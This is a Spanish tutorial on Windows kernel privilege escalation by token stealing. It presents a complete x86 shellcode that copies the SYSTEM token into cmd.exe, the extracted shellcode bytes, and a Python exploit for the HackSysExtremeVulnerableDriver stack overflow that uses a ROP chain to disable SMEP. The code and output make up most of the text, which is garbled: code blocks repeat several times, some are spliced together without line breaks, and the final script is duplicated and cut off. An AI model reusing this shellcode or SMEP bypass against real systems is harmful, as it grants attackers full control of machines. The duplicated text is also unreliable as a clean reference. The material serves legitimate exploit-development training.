Robo de tokens de seguridad
Al atacar el kernel, se asume que contamos con acceso sin privilegios a la máquina objetivo. Por ello, el objetivo habitual de un exploit es llevar a cabo una «escalada de privilegios local» (Local Privilege Escalation), lo que implica obtener privilegios completos en el sistema operativo. Existen diversos métodos para lograrlo; la mayoría de ellos se aprovechan —o abusan— del modelo de privilegios implementado en Windows.
En Windows, al iniciar el sistema, se crea un proceso denominado «System», el cual siempre tiene el PID 4. Dado que este proceso pertenece al usuario SYSTEM, lo utilizaremos como proceso objetivo del cual sustraer el token.

Cada proceso tiene una estructura EPROCESS.

Uno de los elementos de esa estructura es el «token», que consiste en un ticket otorgado por el proceso LSASS.

El token se utiliza para realizar operaciones en el sistema basándose en los permisos que tiene asignados. Por ejemplo, si un proceso desea leer un archivo, el descriptor de seguridad de dicho archivo verificará si el token del proceso cuenta con los permisos necesarios para realizar la operación. Esto es lo que se conoce como Lista de Control de Acceso Discrecional (DACL, por sus siglas en inglés).
En Windows, el token SYSTEM posee todos los permisos sobre los objetos del sistema (archivos, procesos, dispositivos, tuberías, etc.). Por ello, si logramos sustraer dicho token e insertarlo en un proceso sin privilegios, este adquirirá privilegios de nivel SYSTEM.
Para lograrlo, primero debemos obtener el desplazamiento (offset) del campo «Token» dentro de la estructura EPROCESS:

Como puede ver, se trata de un _PROCESS+0x0fc. Con esto, necesitamos obtener el descriptor del proceso SYSTEM:

A continuación, debemos obtener el valor del token para el proceso SYSTEM:

Ahora, iniciamos un proceso cmd.exe en el sistema operativo objetivo y obtenemos los privilegios actuales:

Debemos obtener el descriptor del proceso cmd.exe:

Por último, debemos copiar el valor del token del proceso SYSTEM al proceso cmd.exe. Veámoslo en acción:

¡Genial! Como puedes ver, nuestro cmd.exe se está ejecutando ahora como nt authority\system.
⚠️ Nota: Debemos tener en cuenta que los desplazamientos (offsets) descritos en este artículo solo son aplicables a la versión de Windows que estamos utilizando actualmente: Windows 10 1703 de 32 bits.
Ahora, debemos realizar este proceso mediante programación si queremos incluirlo en nuestro exploit. La estrategia es la siguiente:
Buscar un punto de partida fijo que podamos utilizar para calcular desplazamientos (offsets), empleando código independiente de la posición.
Obtener la lista de procesos actual.
Localizar el proceso cmd.exe.
Localizar el proceso SYSTEM (con PID 4).
Obtener el token del proceso SYSTEM.
Copiar el token del proceso SYSTEM al proceso cmd.exe.
Restaurar la ejecución.
¡Disfruta!
El primer paso consiste en encontrar una posición fija a partir de la cual podamos obtener las estructuras necesarias mediante un desplazamiento (offset). Según esta referencia, es posible acceder a la estructura _NT_TIB a través del selector de segmento fs. Esta estructura contiene información sobre el hilo (thread) que se está ejecutando actualmente (en nuestro caso, el exploit). El artículo también indica que podemos acceder a la estructura _KTHREAD en la dirección fs+0x124. Con esto, podemos empezar a escribir código en lenguaje ensamblador:
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
En la estructura _KTHREAD podemos encontrar un desplazamiento hacia _KPROCESS.

Resulta que _KPROCESS es el primer campo de _EPROCESS, lo que significa que podemos acceder a la estructura _EPROCESS en _KTHREAD+0x150:
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
La estructura _EPROCESS contiene los desplazamientos necesarios para acceder a otra información requerida:
_EPROCESS+0x0b8 apunta a ActiveProcessLinks, que es una lista enlazada que contiene los procesos que se están ejecutando actualmente, y _EPROCESS+0x0b4 apunta al PID del proceso actual:

_EPROCESS+0x140 apunta a InheritedFromUniqueProcessId, que contendrá el PID del proceso padre; en nuestro caso, el PID de cmd.exe.

Dicho esto, necesitamos guardar el PID de cmd.exe:
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
pushad ; Save current registers
mov eax, dword fs:[0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
Ahora debemos recorrer la lista enlazada de procesos activos para encontrar la estructura EPROCESS correspondiente al proceso cmd.exe:
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinkspushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinkspushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinkspushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinksA continuación, localiza la estructura EPROCESS correspondiente al proceso SYSTEM:
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinkspushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinkspushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinkspushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinksA continuación, debemos mover el token de SYSTEM a cmd.exe:
pushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exepushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exepushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exepushad ; Save current registers
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exeY, finalmente, se restaura la ejecución. Dado que estamos escribiendo en la pila, es muy probable que hayamos alterado los marcos de pila (stack frames) inmediatos de las funciones que realizaron la llamada. Si examinamos la pila tras la ejecución del shellcode, podemos observar que existe un marco de pila al cual es posible retornar, ubicado en esp+0x10:

Con esto, podemos añadir un punto de restauración a nuestro shellcode:
pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exe
popad ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exe
popad ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exe
popad ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8pushad
mov eax, dword [fs:0x124] ; EAX now points to _KTHREAD
mov eax, dword [eax+0x150] ; EAX now points to _EPROCESS
mov edx, dword [eax+0x140] ; EDX now points to cmd.exe PID
mov ecx, eax ; ECX will be used to iterate over ActiveProcessLinks
find_cmd:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], edx ; Check if this entry belongs to `cmd.exe`
jne find_cmd ; If not, go to the next entry of ActiveProcessLinks
mov edi, ecx ; EDI now points to cmd.exe _EPROCESS
mov ecx, eax ; Rewind to iterate using ECX over ActiveProcessLinks
find_system:
mov ecx, dword [ecx+0x0b8] ; ECX points to ActiveProcessLinks
; of current process
sub ecx, 0x0b8 ; Point to current _EPROCESS
cmp dword [ecx+0x0b4], 4 ; Check if this entry belongs to PID 4 = SYSTEM
jne find_system ; If not, go to the next entry of ActiveProcessLinks
add ecx, 0x0fc ; ECX now points to the Token of SYSTEM
mov ecx, [ecx] ; Copy contents of Token to ECX
mov [edi+0x0fc], ecx ; Move the Token of SYSTEM to cmd.exe
popad ; Restore
xor eax,eax
inc eax
add esp,0x10
pop ebp
ret 8Ahora, podemos compilar ese código con:
> nasm -f elf32 -o steal.o steal.asm
> nasm -f elf32 -o steal.o steal.asm
> nasm -f elf32 -o steal.o steal.asm
> nasm -f elf32 -o steal.o steal.asm
Y obtén el shellcode con:
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
$ for i in $(objdump -d steal.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01\x00\x00
\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39\x91\xb4\x00\x00
\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00
\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1\xfc\x00\x00\x00\x8b\x09\x89\x8f
\xfc\x00\x00\x00\x61\x31\xc0\x40\x83\xc4\x10\x5d\xc2\x08\x00
Tomemos el exploit de la publicación anterior y actualicemos el shellcode. También he añadido algunas llamadas de impresión (print) que ayudan a identificar en qué etapa del exploit nos encontramos:
#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https:
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0), # lpAddress
c_int(len(SHELLCODE)), # dwSize
c_int(0x3000), # flAllocationType = MEM_COMMIT | MEM_RESERVE
c_int(0x40) # flProtect = PAGE_EXECUTE_READWRITE
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR), # Destination
SHELLCODE, # Source
c_int(len(SHELLCODE)) # Length
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) + # pop eax # ret
struct.pack('<L', 0x42424242) + # Padding for ret 8
struct.pack('<L', 0x42424242) + #
struct.pack('<L', 0x000406e9) + # Value to disable SMEP
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) + # mov cr4, eax # ret
struct.pack('<L', RET_PTR) # Pointer to shellcode
)
PAYLOAD = (
b'A' * 2080 +
ROP_CHAIN
)
SIZE = len(PAYLOAD)
print('Opening driver handle...')
HANDLE = DeviceIoControl(DEVICE_NAME)
print('Sending payload...')
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)
print('Done.')
sys.exit(0)#!/usr/bin/env python3
"""
HackSysExtremeVulnerableDrive Stack Overflow.
Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https:
"""
import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl
KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003
def get_kernel_base():
"""Obtain kernel base address."""
buff_size = 0x4
base = (c_ulong * buff_size)(0)
if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
print('Failed to get kernel base address.')
sys.exit(1)
return base[0]
BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')
SHELLCODE = (
b'\x60\x64\xa1\x24\x01\x00\x00\x8b\x80\x50\x01\x00\x00\x8b\x90\x40\x01'
b'\x00\x00\x89\xc1\x8b\x89\xb8\x00\x00\x00\x81\xe9\xb8\x00\x00\x00\x39'
b'\x91\xb4\x00\x00\x00\x75\xec\x89\xcf\x89\xc1\x8b\x89\xb8\x00\x00\x00'
b'\x81\xe9\xb8\x00\x00\x00\x83\xb9\xb4\x00\x00\x00\x04\x75\xeb\x81\xc1'
b'\xfc\x00\x00\x00\x8b\x09\x89\x8f\xfc\x00\x00\x00\x61\x31\xc0\x40\x83'
b'\xc4\x10\x5d\xc2\x08\x00'
)
print('Allocating memory for shellcode...')
RET_PTR = KERNEL32.VirtualAlloc(
c_int(0), # lpAddress
c_int(len(SHELLCODE)), # dwSize
c_int(0x3000), # flAllocationType = MEM_COMMIT | MEM_RESERVE
c_int(0x40) # flProtect = PAGE_EXECUTE_READWRITE
)
print('Moving shellcode to heap...')
KERNEL32.RtlMoveMemory(
c_int(RET_PTR), # Destination
SHELLCODE, # Source
c_int(len(SHELLCODE)) # Length
)
print('Creating ROP chain...')
ROP_CHAIN = (
struct.pack('<L', BASE_ADDRESS + 0x0002bbef) + # pop eax # ret
struct.pack('<L', 0x42424242) + # Padding for ret 8
struct.pack('<L', 0x42424242) + #
struct.pack('<L', 0x000406e9) + # Value to disable SMEP
struct.pack('<L', BASE_ADDRESS + 0x0011f8de) + # mov cr4, eax # ret
struct.pack('<L', RET_PTR) # Pointer to shellcode
)
PAYLOAD = (
